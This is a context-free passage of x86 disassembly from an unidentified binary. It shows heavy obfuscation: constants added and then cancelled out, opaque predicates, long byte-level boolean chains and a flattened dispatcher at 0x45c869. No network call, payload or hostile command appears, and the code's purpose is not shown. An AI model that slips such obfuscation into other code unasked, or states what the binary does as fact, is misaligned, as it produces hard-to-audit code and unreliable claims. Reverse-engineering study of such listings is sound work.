xor ah, cl
or al, ah
test al, 1
mov esi, dword [ebp - 0x3438]
mov edi, dword [ebp - 0x3444]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x130825dd
mov ecx, 0x7544544
mov dl, byte [ebp - 0x16]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
mov byte [ebp - 0xaa], 0
jmp 0x45c869
mov dword [ebp - 0xa8], 0x130825dd
mov al, byte [ebp - 0x15]
and al, 1
mov byte [ebp - 0xaa], al
jmp 0x45c869
mov eax, 0x6818f1eb
mov ecx, 0x4e5ceb61
mov dl, 1
xor esi, esi
mov edi, 0x1111478b
mov ebx, 0x5b119452
mov dword [ebp - 0x3570], eax
mov eax, dword [0x4ac09c]
mov dword [ebp - 0x3574], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x3578], eax
mov eax, dword [ebp - 0x3574]
sub eax, 0x7fcc3940
add eax, 0x98f750b9
add eax, 0x7fcc3940
sub eax, 0xf55b8e50
sub eax, 0xe1b0cdcd
add eax, 0xf55b8e50
mov dword [ebp - 0x357c], eax
mov eax, esi
sub eax, 0x98f750b9
mov dword [ebp - 0x3580], eax
mov eax, dword [ebp - 0x357c]
mov dword [ebp - 0x3584], ecx
mov ecx, dword [ebp - 0x3580]
add eax, ecx
mov ecx, esi
sub ecx, 0x297ce080
sub eax, ecx
add eax, 0xb95ffd2c
sub eax, 1
sub eax, 0xb95ffd2c
mov ecx, esi
sub ecx, 0x297ce080
add eax, ecx
add ebx, 0
sub ebx, eax
sub ebx, 0x5b119452
add edi, 0
sub edi, 0xe1b0cdcd
sub edi, 0x1111478b
add ebx, 0x24a2ad39
add ebx, edi
sub ebx, 0x24a2ad39
sub esi, 0x1f79e741
sub esi, ebx
add esi, 0x1f79e741
mov eax, dword [ebp - 0x3574]
imul eax, esi
and eax, 1
cmp eax, 0
sete dh
mov eax, dword [ebp - 0x3578]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, dh
xor ch, ah
and ch, dh
mov ah, cl
xor ah, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3585], al
mov al, ah
and al, 0
and cl, bh
mov byte [ebp - 0x3586], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x3587], al
mov al, byte [ebp - 0x3586]
or al, cl
mov cl, byte [ebp - 0x3587]
or cl, ch
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, byte [ebp - 0x3585]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x3585]
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x3585]
xor ch, cl
mov cl, byte [ebp - 0x3585]
and ch, cl
mov bl, ah
xor bl, 0xff
mov bh, ch
xor bh, 0xff
mov cl, dl
xor cl, 0
mov byte [ebp - 0x3588], al
mov al, bl
and al, 0
and ah, cl
mov byte [ebp - 0x3589], al
mov al, bh
and al, 0
and ch, cl
mov byte [ebp - 0x358a], al
mov al, byte [ebp - 0x3589]
or al, ah
mov ah, byte [ebp - 0x358a]
or ah, ch
xor al, ah
or bl, bh
xor bl, 0xff
or cl, 0
and bl, cl
or al, bl
mov cl, dl
xor cl, 0
and cl, 1
mov ah, dl
xor ah, 1
and ah, 0
or cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, dl
xor ah, 0
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 0
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 1
or ch, bl
or bh, 1
xor ch, 0xff
and ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x358b], al
mov al, bh
and al, 1
mov byte [ebp - 0x358c], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x358d], al
mov al, byte [ebp - 0x358c]
or bl, al
mov al, byte [ebp - 0x358d]
or al, bh
xor bl, al
xor bl, 0xff
mov al, dl
xor al, 0
mov bh, dl
xor bh, 0
or bl, al
or bh, 0
xor bl, 0xff
and bl, bh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, bl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x358e], al
mov al, cl
and al, 0
and bl, bh
mov byte [ebp - 0x358f], al
mov al, ch
and al, 0
and ah, bh
mov byte [ebp - 0x3590], al
mov al, byte [ebp - 0x358f]
or al, bl
mov bl, byte [ebp - 0x3590]
or bl, ah
xor al, bl
or cl, ch
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x358e]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x358e]
and ch, ah
mov bl, al
xor bl, 0xff
and bl, 0
and al, ah
or cl, ch
or bl, al
xor cl, bl
mov al, byte [ebp - 0x3588]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x3588]
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, ch
or bl, ah
xor al, bl
mov ah, dl
xor ah, 0
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov al, dl
xor al, 1
mov ah, ch
xor ah, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3591], al
and al, 0xff
mov byte [ebp - 0x3592], al
mov al, bh
and al, 1
mov byte [ebp - 0x3593], al
mov al, ah
and al, 0xff
and ch, bh
mov byte [ebp - 0x3594], al
mov al, byte [ebp - 0x3592]
mov byte [ebp - 0x3595], cl
mov cl, byte [ebp - 0x3593]
or al, cl
mov cl, byte [ebp - 0x3594]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x3591]
or cl, ah
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and bl, ah
mov ch, dl
xor ch, 1
and ch, 0
and ah, 1
or cl, bl
or ch, ah
xor cl, ch
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and dh, ah
mov ch, dl
xor ch, 1
and ch, 0xff
and ah, 1
or al, dh
or ch, ah
xor al, ch
mov ah, byte [ebp - 0x3595]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x3595]
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
or ch, dh
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, ch
and al, 0
xor ch, 0
or al, ch
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
xor al, 0xff
mov ch, ah
xor ch, al
and ch, ah
mov al, byte [ebp - 0x358b]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x358b]
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, dh
or bl, ah
xor al, bl
mov ah, dl
xor ah, 0
and ah, 1
mov dh, dl
xor dh, 1
mov bl, dh
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
or dh, bl
mov bl, al
xor bl, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x3596], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3597], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x3598], al
mov al, byte [ebp - 0x3596]
mov byte [ebp - 0x3599], cl
mov cl, byte [ebp - 0x3597]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x359a], al
mov al, byte [ebp - 0x3597]
and ah, al
mov al, byte [ebp - 0x3598]
mov byte [ebp - 0x359b], cl
mov cl, byte [ebp - 0x359a]
or al, cl
mov cl, byte [ebp - 0x359b]
or cl, ah
xor al, cl
or bl, bh
xor bl, 0xff
mov cl, byte [ebp - 0x3597]
or cl, 1
and bl, cl
or al, bl
mov cl, dh
and cl, 0
xor dh, 0
or cl, dh
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
and al, dh
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, dl
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x3595]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x3595]
and dh, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or al, dh
or bl, cl
xor al, bl
mov cl, byte [ebp - 0x3585]
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x3585]
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 0
and al, dh
or cl, bl
or bh, al
xor cl, bh
mov al, byte [ebp - 0x3585]
xor al, 0xff
mov dh, cl
xor dh, al
and dh, cl
mov al, byte [ebp - 0x3599]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bl, byte [ebp - 0x3599]
and bl, cl
or al, bl
mov cl, ch
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov bh, ch
and bh, bl
or cl, bh
mov bl, dl
xor bl, 0
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
or bl, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x359c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x359d], al
mov al, dl
xor al, 0
mov byte [ebp - 0x359e], al
mov al, byte [ebp - 0x359d]
or bh, al
mov al, byte [ebp - 0x359e]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x3599]
xor al, 0xff
mov byte [ebp - 0x359f], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x35a0], al
mov al, dl
xor al, 0
mov byte [ebp - 0x35a1], al
mov al, byte [ebp - 0x359f]
mov byte [ebp - 0x35a2], cl
mov cl, byte [ebp - 0x35a0]
or al, cl
mov cl, byte [ebp - 0x35a1]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x35a2]
xor cl, 0xff
mov byte [ebp - 0x35a3], al
mov al, dl
xor al, 0
mov byte [ebp - 0x35a4], al
mov al, dl
xor al, 0
mov byte [ebp - 0x35a5], al
mov al, byte [ebp - 0x35a4]
or cl, al
mov al, byte [ebp - 0x35a5]
or al, 0
xor cl, 0xff
and cl, al
xor ch, 0xff
mov al, bl
xor al, 0xff
mov byte [ebp - 0x35a6], al
mov al, dl
xor al, 0
mov byte [ebp - 0x35a7], al
mov al, byte [ebp - 0x35a6]
or ch, al
mov al, byte [ebp - 0x35a7]
or al, 0
xor ch, 0xff
and ch, al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x35a8], al
mov al, byte [ebp - 0x35a3]
xor al, 0xff
mov byte [ebp - 0x35a9], al
mov al, dl
xor al, 0
mov byte [ebp - 0x35aa], al
mov al, byte [ebp - 0x35a8]
and al, 0
mov byte [ebp - 0x35ab], al
mov al, byte [ebp - 0x35aa]
and bh, al
mov al, byte [ebp - 0x35a9]
and al, 0
mov byte [ebp - 0x35ac], al
mov al, byte [ebp - 0x35a3]
mov byte [ebp - 0x35ad], cl
mov cl, byte [ebp - 0x35aa]
and al, cl
mov cl, byte [ebp - 0x35ab]
or cl, bh
mov bh, byte [ebp - 0x35ac]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x35a8]
mov bh, byte [ebp - 0x35a9]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x35aa]
or bh, 0
and al, bh
or cl, al
mov al, byte [ebp - 0x35ad]
xor al, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x35ae], al
mov al, dl
xor al, 1
mov byte [ebp - 0x35af], al
mov al, byte [ebp - 0x35ae]
and al, 0xff
mov byte [ebp - 0x35b0], al
mov al, byte [ebp - 0x35ad]
mov byte [ebp - 0x35b1], cl
mov cl, byte [ebp - 0x35af]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x35b2], al
mov al, byte [ebp - 0x35af]
and ch, al
mov al, byte [ebp - 0x35b0]
mov byte [ebp - 0x35b3], cl
mov cl, byte [ebp - 0x35b2]
or al, cl
mov cl, byte [ebp - 0x35b3]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x35ae]
or cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x35af]
or ch, 1
and cl, ch
or al, cl
mov cl, byte [ebp - 0x35b1]
xor cl, 0xff
mov ch, al
and ch, cl
xor al, 0xff
mov cl, byte [ebp - 0x35b1]
and cl, al
or ch, cl
mov al, byte [ebp - 0x359c]
mov cl, byte [ebp - 0x35a2]
and al, cl
mov bh, byte [ebp - 0x359c]
xor bh, cl
or al, bh
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, dl
xor cl, 1
and al, cl
or bh, al
mov al, dl
xor al, 0
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x35b4], al
mov al, dl
xor al, 1
mov byte [ebp - 0x35b5], al
mov al, byte [ebp - 0x35b4]
and al, 0xff
mov byte [ebp - 0x35b6], al
mov al, byte [ebp - 0x35b5]
and al, 0
mov byte [ebp - 0x35b7], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x35b8], al
mov al, byte [ebp - 0x35b5]
and bl, al
mov al, byte [ebp - 0x35b6]
mov byte [ebp - 0x35b9], cl
mov cl, byte [ebp - 0x35b7]
or al, cl
mov cl, byte [ebp - 0x35b8]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x35b4]
mov bl, byte [ebp - 0x35b9]
or cl, bl
xor cl, 0xff
mov bl, byte [ebp - 0x35b5]
or bl, 1
and cl, bl
or al, cl
xor bh, 0xff
xor al, 0xff
mov cl, dl
xor cl, 1
or bh, al
or cl, 1
xor bh, 0xff
and bh, cl
mov al, ch
xor al, 0xff
mov cl, bh
xor cl, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x35ba], al
and al, 0
and ch, bl
mov byte [ebp - 0x35bb], al
mov al, cl
and al, 0
and bh, bl
mov byte [ebp - 0x35bc], al
mov al, byte [ebp - 0x35bb]
or al, ch
mov ch, byte [ebp - 0x35bc]
or ch, bh
xor al, ch
mov ch, byte [ebp - 0x35ba]
or ch, cl
xor ch, 0xff
or bl, 0
and ch, bl
or al, ch
mov cl, ah
xor cl, 0xff
mov ch, dh
xor ch, 0xff
mov bl, dl
xor bl, 1
or cl, ch
or bl, 1
xor cl, 0xff
and cl, bl
mov ch, ah
xor ch, 0xff
mov bl, dh
and bl, ch
xor dh, 0xff
and ah, dh
or bl, ah
mov ah, cl
xor ah, 0xff
mov ch, bl
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, ah
and bh, 0
and cl, dh
mov byte [ebp - 0x35bd], al
mov al, ch
and al, 0
and bl, dh
or bh, cl
or al, bl
xor bh, al
or ah, ch
xor ah, 0xff
or dh, 0
and ah, dh
or bh, ah
mov al, byte [ebp - 0x35bd]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x35bd]
and ah, cl
or al, ah
xor al, 0xff
mov cl, bh
xor cl, al
and cl, bh
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
or al, bh
xor al, 0xff
mov ah, byte [ebp - 0x35bd]
xor ah, al
mov al, byte [ebp - 0x35bd]
and ah, al
mov ch, cl
xor ch, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, ch
and bh, 0xff
and cl, bl
mov al, dh
and al, 0xff
and ah, bl
or bh, cl
or al, ah
xor bh, al
or ch, dh
xor ch, 0xff
or bl, 1
and ch, bl
or bh, ch
mov al, byte [ebp - 0x3588]
xor al, 0xff
mov cl, byte [ebp - 0x358b]
xor cl, 0xff
mov ah, dl
xor ah, 0
or al, cl
or ah, 0
xor al, 0xff
and al, ah
mov cl, byte [ebp - 0x3588]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x3588]
and ch, ah
mov dh, byte [ebp - 0x358b]
xor dh, 0xff
and dh, 0xff
mov bl, byte [ebp - 0x358b]
and bl, ah
or cl, ch
or dh, bl
xor cl, dh
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bl, ah
and bl, 0
and al, dh
mov byte [ebp - 0x35be], al
mov al, ch
and al, 0
and cl, dh
mov byte [ebp - 0x35bf], al
mov al, byte [ebp - 0x35be]
or bl, al
mov al, byte [ebp - 0x35bf]
or al, cl
xor bl, al
or ah, ch
xor ah, 0xff
or dh, 0
and ah, dh
or bl, ah
mov al, bl
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, bl
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
mov ah, cl
xor ah, 0xff
mov ch, bl
xor ch, ah
and ch, bl
mov ah, dl
xor ah, 1
and ah, 1
mov dh, dl
xor dh, 1
and dh, 1
or ah, dh
xor ah, 0xff
mov dh, dl
xor dh, 1
mov bl, dl
xor bl, 0
or ah, dh
or bl, 0
xor ah, 0xff
and ah, bl
mov dh, dl
xor dh, 1
xor cl, 0xff
mov bl, dl
xor bl, 0
or dh, cl
or bl, 0
xor dh, 0xff
and dh, bl
mov cl, al
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov byte [ebp - 0x35c0], al
mov al, dl
xor al, 0
mov byte [ebp - 0x35c1], al
mov al, cl
and al, 0
mov byte [ebp - 0x35c2], al
mov al, byte [ebp - 0x35c0]
mov byte [ebp - 0x35c3], cl
mov cl, byte [ebp - 0x35c1]
and al, cl
mov cl, bl
and cl, 0
mov byte [ebp - 0x35c4], al
mov al, byte [ebp - 0x35c1]
and ch, al
mov al, byte [ebp - 0x35c2]
mov byte [ebp - 0x35c5], cl
mov cl, byte [ebp - 0x35c4]
or al, cl
mov cl, byte [ebp - 0x35c5]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x35c3]
or cl, bl
xor cl, 0xff
mov ch, byte [ebp - 0x35c1]
or ch, 0
and cl, ch
or al, cl
mov cl, ah
and cl, dh
xor ah, dh
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
mov dh, cl
xor dh, 0xff
and dh, 0xff
and cl, ch
or ah, al
or dh, cl
xor ah, dh
mov al, dl
xor al, 0
mov cl, byte [ebp - 0x3595]
xor cl, 0xff
mov ch, dl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, dl
xor cl, 0
and cl, 0
mov ch, dl
xor ch, 0
mov dh, ch
and dh, 0
mov bl, byte [ebp - 0x3595]
xor bl, 0xff
and bl, 0
mov byte [ebp - 0x35c6], al
mov al, byte [ebp - 0x3595]
and al, ch
or cl, dh
or bl, al
xor cl, bl
mov al, byte [ebp - 0x35c6]
and al, cl
mov ch, byte [ebp - 0x35c6]
xor ch, cl
or al, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and al, ch
or cl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
mov dh, ah
and dh, ch
mov bl, cl
xor bl, 0xff
and bl, 0
and cl, ch
or al, dh
or bl, cl
xor al, bl
xor al, 0xff
xor ah, 0xff
mov cl, dl
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, al
xor cl, 0xff
mov ah, bh
xor ah, cl
and ah, bh
mov cl, bh
xor cl, 0xff
and cl, 0
xor dl, 0
and bh, dl
mov ch, al
xor ch, 0xff
and ch, 0
and al, dl
or cl, bh
or ch, al
xor cl, ch
mov al, ah
and al, cl
xor ah, cl
or al, ah
test al, 1
mov esi, dword [ebp - 0x3570]
mov edi, dword [ebp - 0x3584]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x7cf5b3a8
mov ecx, 0xf53813aa
mov dl, 1
xor esi, esi
mov edi, dword [ebp - 0x30]
mov edi, dword [edi]
add edi, 4
mov ebx, dword [ebp - 0x30]
mov dword [ebx], edi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x3640], eax
mov eax, edi
sub eax, 0x935e41b3
add eax, 0x480c11fc
add eax, 0x935e41b3
add eax, 0x8fa8c4f8
sub eax, 0x7f4c5f90
sub eax, 0x8fa8c4f8
sub eax, 0xe258359b
sub eax, 0x480c11fc
add eax, 0xe258359b
add eax, 0x27d5bdd0
sub eax, 0x3f14d574
sub eax, 0x27d5bdd0
mov dword [ebp - 0x3644], eax
mov eax, esi
sub eax, 1
mov dword [ebp - 0x3648], eax
mov eax, dword [ebp - 0x3644]
mov dword [ebp - 0x364c], ecx
mov ecx, dword [ebp - 0x3648]
add eax, ecx
add eax, 0x830f9d6
add eax, 0x3f14d574
sub eax, 0x830f9d6
mov ecx, esi
sub ecx, 0x7f4c5f90
add ecx, 0
sub esi, ecx
add eax, esi
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dh
xor ch, 0xff
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, cl
xor ah, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x364d], al
mov al, ah
and al, 0xff
and cl, bh
mov byte [ebp - 0x364e], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x364f], al
mov al, byte [ebp - 0x364e]
or al, cl
mov cl, byte [ebp - 0x364f]
or cl, ch
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, byte [ebp - 0x364d]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x364d]
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, byte [ebp - 0x364d]
xor ch, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 1
or ch, bl
or bh, 1
xor ch, 0xff
and ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3650], al
mov al, bl
xor al, bh
and al, bl
mov bl, dl
xor bl, 1
xor ah, 0xff
mov bh, dl
xor bh, 0
or bl, ah
or bh, 0
xor bl, 0xff
and bl, bh
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, al
and cl, bl
xor al, bl
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
and ah, ch
mov bl, cl
xor bl, 0xff
and bl, 0xff
and cl, ch
or al, ah
or bl, cl
xor al, bl
mov cl, dl
xor cl, 1
and cl, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 1
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 1
xor cl, 0xff
mov bl, dl
xor bl, 1
or ch, cl
or bl, 1
xor ch, 0xff
and ch, bl
mov cl, ah
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3651], al
mov al, cl
and al, 0
and ah, bh
mov byte [ebp - 0x3652], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x3653], al
mov al, byte [ebp - 0x3652]
or al, ah
mov ah, byte [ebp - 0x3653]
or ah, ch
xor al, ah
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 1
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, byte [ebp - 0x3650]
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov bl, byte [ebp - 0x3650]
and bl, ch
mov bh, cl
xor bh, 0xff
and bh, 0
and cl, ch
or ah, bl
or bh, cl
xor ah, bh
mov cl, byte [ebp - 0x3650]
xor cl, 0xff
mov ch, ah
xor ch, cl
and ch, ah
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and dh, ah
or cl, dh
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, al
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
and bl, 1
or dh, bl
mov bl, cl
and bl, ah
xor cl, ah
or bl, cl
mov cl, dl
xor cl, 1
mov ah, dh
xor ah, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3654], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x3655], al
mov al, bh
and al, 1
mov byte [ebp - 0x3656], al
mov al, ah
and al, 0xff
and dh, bh
mov byte [ebp - 0x3657], al
mov al, byte [ebp - 0x3655]
mov byte [ebp - 0x3658], cl
mov cl, byte [ebp - 0x3656]
or al, cl
mov cl, byte [ebp - 0x3657]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x3658]
or cl, ah
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bl, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, bl
or dh, ah
xor cl, dh
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, byte [ebp - 0x3651]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov dh, byte [ebp - 0x3651]
and dh, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or al, dh
or bl, cl
xor al, bl
mov cl, dl
xor cl, 1
and cl, 1
mov dh, dl
xor dh, 1
and dh, 1
or cl, dh
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x3659], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, byte [ebp - 0x3659]
and al, cl
mov bl, byte [ebp - 0x3659]
xor bl, cl
or al, bl
mov cl, dh
and cl, 1
xor dh, 1
or cl, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
and al, bl
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, dl
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x3654]
xor al, 0xff
and al, 0
mov cl, dl
